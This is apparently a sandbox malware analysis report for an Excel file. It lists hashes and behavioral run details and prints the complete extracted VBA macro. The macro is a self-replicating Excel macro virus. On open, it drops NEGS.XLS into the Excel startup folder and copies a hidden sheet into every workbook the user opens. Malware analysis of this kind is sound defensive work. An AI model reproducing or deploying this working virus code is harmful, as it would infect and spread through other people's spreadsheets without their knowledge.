Behavioral task
behavioral1
Sample
2562cd708cf2aeccd534e346ee175d7d99a9f5b81622b76a5cd16479ac7f78ad.xls
Resource
win7-20240319-en
windows7-x64
7 signatures
40 seconds
Behavioral task
behavioral2
Sample
2562cd708cf2aeccd534e346ee175d7d99a9f5b81622b76a5cd16479ac7f78ad.xls
Resource
win10v2004-20240412-en
windows10-2004-x64
5 signatures
40 seconds
General
-
Target
2562cd708cf2aeccd534e346ee175d7d99a9f5b81622b76a5cd16479ac7f78ad
-
Size
65KB
-
MD5
bf32517df0d04034fef284d101a86393
-
SHA1
b99aa5e042b5915dd8728ed4de17040a61d1df9d
-
SHA256
2562cd708cf2aeccd534e346ee175d7d99a9f5b81622b76a5cd16479ac7f78ad
-
SHA512
6d106862f88dfbf6a9c9cfd41f50d1c116b883d7c74e40c7d8a740c181482c454cba0bfcbc695c21c11388d75f33397c238acbbd9499089181c26bf6421a8e4d
-
SSDEEP
1536:y/xEtjPOtioVjDGUU1qfDlaGGx+1cRdg6g6qLQVIN4IgZtz3F1s:y/xEtjPOtioVjDGUU1qfDlaGGx+1cRdn
Score
8/10
Malware Config
Signatures
-
resource sample
Files
-
2562cd708cf2aeccd534e346ee175d7d99a9f5b81622b76a5cd16479ac7f78ad.xls windows office2003
foxz
1Attribute VB_Name = "foxz"23'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!4'foxz@usa.net567Sub auto_open()8Attribute auto_open.VB_Description = "\n\n \n\n\n�\n"9Application.OnSheetActivate = "check_files"10End Sub1112Sub check_files()13Attribute check_files.VB_Description = "\n\n \n\n\n�\n"14c$ = Application.StartupPath15m$ = Dir(c$ & "\" & "NEGS.XLS")16If m$ = "NEGS.XLS" Then p = 1 Else p = 017If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 018whichfile = p + w * 101920Select Case whichfile21Case 1022Application.ScreenUpdating = False23n4$ = ActiveWorkbook.Name24Sheets("foxz").visible = True25Sheets("foxz").Select26Sheets("foxz").Copy27With ActiveWorkbook28.Title = ""29.Subject = ""30.Author = ""31.Keywords = ""32.Comments = "infected by NEG Promo!"33End With34newname$ = ActiveWorkbook.Name35c4$ = CurDir()36ChDir Application.StartupPath37ActiveWindow.visible = False38Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _39, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _40False, CreateBackup:=False41ChDir c4$42Workbooks(n4$).Sheets("foxz").visible = False43Application.OnSheetActivate = ""44Application.ScreenUpdating = True45Application.OnSheetActivate = "NEGS.XLS!check_files"46Case 147Application.ScreenUpdating = False48n4$ = ActiveWorkbook.Name49p4$ = ActiveWorkbook.Path50s$ = Workbooks(n4$).Sheets(1).Name51If s$ <> "foxz" Then52Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)53Workbooks(n4$).Sheets("foxz").visible = False54Else55End If56Application.OnSheetActivate = ""57Application.ScreenUpdating = True58Application.OnSheetActivate = "NEGS.XLS!check_files"59Case Else60End Select61End Sub62